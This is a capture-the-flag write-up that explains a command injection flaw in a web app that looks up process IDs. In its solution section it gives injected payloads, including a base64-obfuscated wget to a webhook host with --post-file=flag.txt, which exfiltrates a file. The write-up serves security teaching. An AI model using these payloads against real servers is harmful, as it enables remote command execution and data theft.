Challenge: Hacker System Monitor

Nicola Mores, 05/03/2024

Background

This challenge is about Injections and in particular Command Injection. This is a web attack that allows the attacker to execute arbitrary commands injected through user input on the machine hosting the web server. In this challenge the server uses user input to fetch the PIDs of one of the processes running on the machine [1]. In order to do so, the backend uses an instruction that communicates with the OS, like `os.system()` or `subprocess.call()` using the input received from the url to execute the command pidof and then send back a response containing the results of this operation.

Vulnerability

In this case the vulnerability arises from the (partially) unsanitized input used in the system shell. We can in fact send, through the input field, malicious code to the server and then execute it on the host in order to retrieve some precious data, in our case the hidden flag.

Solution

In order to complete this type of challenge we have to understand what is the purpose of the vulnerable web application and then think how it does what it does. Since this application works with running processes on the server, we can assume it has to communicate with the OS in order to get the list of the ones currently running and the PIDs associated to the one required by the user input. All this information can suggest to us that the application may be vulnerable to command injection, so we can try to send some crafted input to check if this is the case. For example we can use `` `ping 8.8.8.8` `` and notice that, even if the result is an error, a new process ping has been created and added to the list of currently active processes. Then we can try to use a webhook in order to check if the host has access to the internet. In order to do so we can try to use a command like `` `wget https://webhook.site/...` `` [2] and check if we receive a GET request from the webhook dashboard. In this case however, we can notice that sending the URL in this way gets us a 404 error, caused by the special characters in the URL. In order to bypass this problem we can try to encode the URL in some way, for example using the base64, and then edit the previous code in order to decode it before executing the wget. In my case I encoded my webhook URL in base64 and then used python in order to decode and print the original URL, allowing me to use the result in the wget expression: `` `wget $(python -c "from base64 import b64decode; print(b64decode('encodedURL').decode())")` `` [3]. This input will effectively send a GET request to the webhook, so we can simply try to add (some variation of) `--post-file=flag.txt` at the end of it in order to send a POST request containing the eventual flag. This is one possible solution that uses command injection and SSRF [4], successfully concluding this challenge.

References

[1] OWASP Command Injection:
https://owasp.org/www-community/attacks/Command_Injection
[2] Possible Webhook: https://webhook.site/
[3] Python b64decode Documentation: https://docs.python.org/3/library/base64.html
[4] OWASP Server Side Request Forgery:
https://owasp.org/www-community/attacks/Server_Side_Request_Forgery